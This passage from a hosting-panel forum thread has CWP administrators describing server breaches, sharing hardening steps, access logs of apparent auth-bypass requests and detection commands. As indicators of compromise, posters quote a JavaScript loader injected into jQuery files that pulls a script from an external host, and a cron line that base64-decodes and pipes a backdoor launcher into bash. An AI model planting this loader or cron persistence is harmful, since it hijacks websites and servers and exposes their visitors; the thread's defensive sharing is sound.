Therefore, you should restrict the DELETE method by adding the following configuration to your `/usr/local/cwpsrv/conf/cwpsrv.conf` file, placing it between the `server {` and `location / {` directives:
# Natively block unauthorized methods in NGINX
if ($request_method !~ ^(GET|HEAD|POST)$ ) {
return 444; # Code 444 closes the connection immediately without sending headers, saving bandwidth and dropping the bot
}
Additionally, you should disable the file manager:
mv /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php{,.disabled}
The attacker exploited the file manager to gain root access to the server using a standard user account. Consequently, you should also remove the following configuration block wherever it appears:
location ~ ^/~(.+?)(/.*)?$ {
internal;
proxy_pass http://IP.AD.DR.ESS:8181;
include proxy.inc;
}
However, there is no guarantee that it did not access your information and collect any sensitive or confidential data from your server. You should take measures to mitigate the impact of the server data compromise, should such an event have occurred.
Regards,
Netino
Thanks! I'll block.
The attack happened again. I got a process running called "-cpanel" conecting to ip 152.53.173.29, from Germany.
Cannot confirm if it comes from filemanager.
Thanks!
-
After long time researching and testing, confirmed that server was a processe called "-cpanel" that connects to IP 152.53.173.29.
That files mentioned earlier in this thread was found in home directories with root permissions. All deleted.
IP was blocked and connections was closed.
Server infected, probably some was not updated. It's a Centos 8 Stream.
Will be reinstalled.
This problem was caused due a Centos without updates, but, CWP needs to be fixed too due a vulnerabilities mentioned by Netino.
Just posting here cause someone facing same problem.
Thanks!
-
This is a complete joke. Multiple servers hacked and with leftovers from previouse CVEs in CWP, and NO ONE from the team makes a announce about it or tell us something....
-
I believe there is a vulnerability in the User Portal wordpress_manager module and or addons module/wp_autologin feature.
I've been watching for sh command execution using falco. I got notified today that two of my CWP user accounts ran sh -c chown : /home/username/public_html/cwp_login_xxxxx.php
And there were new cwp_login_xxxxx.php files created in both these user directories.
I guess these kinds of files are generated by CWP to allow the user to bypass their Wordpress login. Idk, never used that feature.
I'm the only one that has access to these users, and this was triggered from an IP I don't use. 155.117.252.20And these sites don't have Wordpress, or any active website for that matter, so impossible for an attack to have come through Wordpress.
I did this to check around the time that the cwp_login files were created.
grep -E "16:1[4-6]:" /usr/local/cwpsrv/logs/access_log
And got this:
155.117.252.20 - - [03/Sep/2026:16:15:15 -0600] "POST /user1/index.php?module=addons&act=wp_autologin HTTP/1.1" 302 89 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:15 -0600] "POST /user1/index.php?module=wordpress_manager&acc=list_domains HTTP/1.1" 302 160 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:15 -0600] "POST /user2/index.php?module=addons&act=wp_autologin HTTP/1.1" 302 90 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:15 -0600] "POST /user2/index.php?module=wordpress_manager&acc=list_domains HTTP/1.1" 302 160 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:16 -0600] "POST /user2/index.php?module=wordpress_manager&acc=list_domains HTTP/1.1" 302 160 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:16 -0600] "POST /user2/index.php?module=wordpress_manager&acc=scan_installations HTTP/1.1" 302 121 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:17 -0600] "POST /user2/index.php?module=domains&acc=dirlist HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:17 -0600] "POST /user2/index.php?module=wordpress_manager&acc=list_domains HTTP/1.1" 302 160 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:18 -0600] "POST /user2/index.php?module=domains&acc=dirlist HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:18 -0600] "POST /user2/index.php?module=domains&acc=dirlist HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:18 -0600] "POST /user2/index.php?module=letsencrypt&acc=list HTTP/1.1" 302 14 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:19 -0600] "POST /user2/index.php?module=addons&act=wp_autologin HTTP/1.1" 302 90 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:19 -0600] "POST /user2/index.php?module=git_manager&acc=list_repos HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:20 -0600] "POST /user2/index.php?module=addons&act=wp_autologin HTTP/1.1" 302 94 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:21 -0600] "POST /user1/index.php?module=wordpress_manager&acc=list_domains HTTP/1.1" 302 160 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:21 -0600] "POST /user1/index.php?module=wordpress_manager&acc=scan_installations HTTP/1.1" 302 121 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:22 -0600] "POST /user1/index.php?module=domains&acc=dirlist HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:22 -0600] "POST /user1/index.php?module=wordpress_manager&acc=list_domains HTTP/1.1" 302 160 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:23 -0600] "POST /user1/index.php?module=domains&acc=dirlist HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:23 -0600] "POST /user1/index.php?module=domains&acc=dirlist HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:24 -0600] "POST /user1/index.php?module=addons&act=wp_autologin HTTP/1.1" 302 89 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:24 -0600] "POST /user1/index.php?module=git_manager&acc=list_repos HTTP/1.1" 302 12 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:24 -0600] "POST /user1/index.php?module=letsencrypt&acc=list HTTP/1.1" 302 14 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
155.117.252.20 - - [03/Sep/2026:16:15:25 -0600] "POST /user1/index.php?module=addons&act=wp_autologin HTTP/1.1" 302 93 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
These times lineup exactly when falco logged that "sh -c chown : /home/user1/public_html/cwp_login_xxxxxx.php" was ran so somehow this IP was able to POST data in a way that bypassed auth and allowed these wordpress login bypass files to be created by CWP.
I would block access to 2082 & 2083, (obvs admin 2086 / 2087 and 2030 / 2031, and API 2304 should already be whitelist only) until CWP can release a patch.
-
Hi,
I checked my servers and found two hacked users. I'm not sure whether the accounts were hacked using the wp_autologin module, because there were requests to other CWP components before wp_autologin was called.
However, I found one interesting thing: the usernames of the hacked accounts exactly match a part of a domain installed on the server. For example, the following usernames would be unsafe: "mydomain", "addon2", and "com" if the following domains exist on the server: "mydomain.com" and "some.addon2.net".
Accounts with usernames that did not match any part of the domains installed on the server were not compromised.
So, I believe that the username must be known in order to exploit the vulnerability.
-
Hello,
Using CWP since long and love it. I agree with @Netino and assume this issue occurred only after CWP upgrade it file manager.
Because issue occurred around after 10th Aug 2026 in my two server having CWPPRO on AlmaLinux 8 with latest Kernel, CSF Firewall, updated Apache, and
have Mod Security installed running the latest CWPPRO OWASP and does not have any WordPress installation but then also both of my server affected.
In one of my server, all files and folders owner become root in public_html folder and in other server, lot many "cwp_login_randomnumber.php" files generated in public_html folder.
Screenshot attached.
I request to CWP that old stable version was perfect, No any demand for better look then why they update it?
I notice that look for CSF firewall page also changed, Old was far better and easy to use/maintain.
User require only functionality, secured updated supported version and fixes - Not themes and better looks.
If any one guide how to check infections and fix the issue greatly appreciated.
Once again I love CWP.
-
Further, Site loading properly in browser and view source code in browser is also proper.
But server is intercepting all web requests from bots that have "bot," "crawler," or "spider" so search result in search engine like Google
showing some other metadata instead of our websites data.
Refer similar thread at : http://forum.centos-webpanel.com/other/something-is-intercepting-bots-and-loading-a-different-page-for-them/msg54106/
-
Hello CWP Team and Community,
I would like to report a suspicious security incident that occurred on my server on August 13, 2026.
I found malicious JavaScript injected at the end of jQuery files used by websites hosted on the server.
The injected code was:
const u = atob("aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz");
const s = document.createElement("script");
s.src = u;
s.dataset.landing = "";
s.dataset.channelCode = "9cbdf797";
document.head.appendChild(s);
The Base64 string:
aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz
decodes to:
https://she-g8f.pages.dev/boot.js
What I observed
The modification does not appear to affect random JavaScript files. It appears to specifically target the jQuery file that is actively being used by the website.
For example, if a website is using jquery.3.7.1.min.js, that file may be modified and the malicious code appended to the end.
I initially investigated this as a possible compromise of my own server, but I later found the same type of injection on another server also running CWP.
This makes me concerned that this may not be an isolated server or website compromise.
Quick detection
CWP users can search their /home directory with:
grep -RIl --binary-files=without-match 'aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz' /home 2>/dev/null
This should return files containing the injected Base64 string.
I recommend checking the results, especially any jquery*.js files currently used by active websites.
Request for investigation
I have searched the server for the source of the modification but have not been able to determine the initial attack vector.
Could someone from the CWP team or an experienced CWP security researcher please investigate whether there is any known vulnerability or CWP-related mechanism that could allow an attacker to:
Identify actively used jQuery files.
Modify those files.
Inject an external JavaScript loader.
Do so without leaving an obvious trace in the normal server logs.
Since I have now observed the same behavior on two different CWP servers, I believe this deserves further investigation.
If other CWP users check their jQuery files and find the same injection, that may help determine the scope and source of the issue.
Thank you.
below list is some of the variations of js files. where the same code snippet found
modernizr-2.8.3.min.js
wow.min.js
jquery-3.2.1.min.js
jquery.min.js
jquery-2.1.0.min.js
jquery-1.11.1.min.js
modernizer.js
jquery-3.3.1.min.js
-
That's an interesting finding, particularly because those accounts don't have active WordPress installations and the requests came from an IP you don't recognize.
Since you're already using Falco, I'd correlate the timestamp of those requests with several other persistence areas rather than concentrating only on the generated cwp_login_* files.
I'd check for unexpected systemd services/timers, cron entries, SSH keys, recently created executables, unusual listening processes/ports and modifications around the same timestamp. I'd also search the other CWP accounts for the same filenames and activity pattern. If the same IOC appears across unrelated accounts, that becomes particularly valuable evidence.
I've been working on exactly this problem on my own CWP servers because manually correlating all these checks takes a huge amount of time. I eventually developed a CWP7 Security Audit Module that automates the checks and exposes the evidence inside CWP. Full disclosure: I'm the developer.
In your particular case, though, I'd be especially interested in comparing the creation timestamps of those cwp_login_* files against systemd/cron/process activity. That could help distinguish a vulnerable CWP function being called remotely from persistence already present elsewhere on the server.
-
Hi!
Check your crons for this:
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVUwIGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9L2Jpbi9iYXNoIFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL3Vzci9iaW4vZGVmdW5jdC5kYXQgLWxpcUQiIC91c3IvYmluL2Jhc2ggLWMgImV4ZWMgLWEgJ1ttbV9wZXJjcHVfd3FdJyAnL3Vzci9iaW4vZGVmdW5jdCciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel
-
Cron wasn't altered in my recent server post-mortem. (Seemingly) everything else was... :-\
-
Found 2 files that cron uses for something.
/usr/bin/defunct.dat
/usr/bin/defunct
/usr/bin/dbus-monitor-srv
check your files
-
You have it under control? If you need any help, PM me.
-
I have the files.
Do you need them?
Im tired of cleaning server. Im stop using CWP for a while.
-
Don't use a server using MariaDB, ImageMagick, OpenSSH, aaPanel, OpenDMARC, OpenPanel, cPanel, +more...
They are just some of the latest CVE's in the past 30 days that could allow remote code execution if you don't keep them up2date.
All EOL OS'es that have no security updates are a hacker's paradise right now also, e.g. CentOS 7.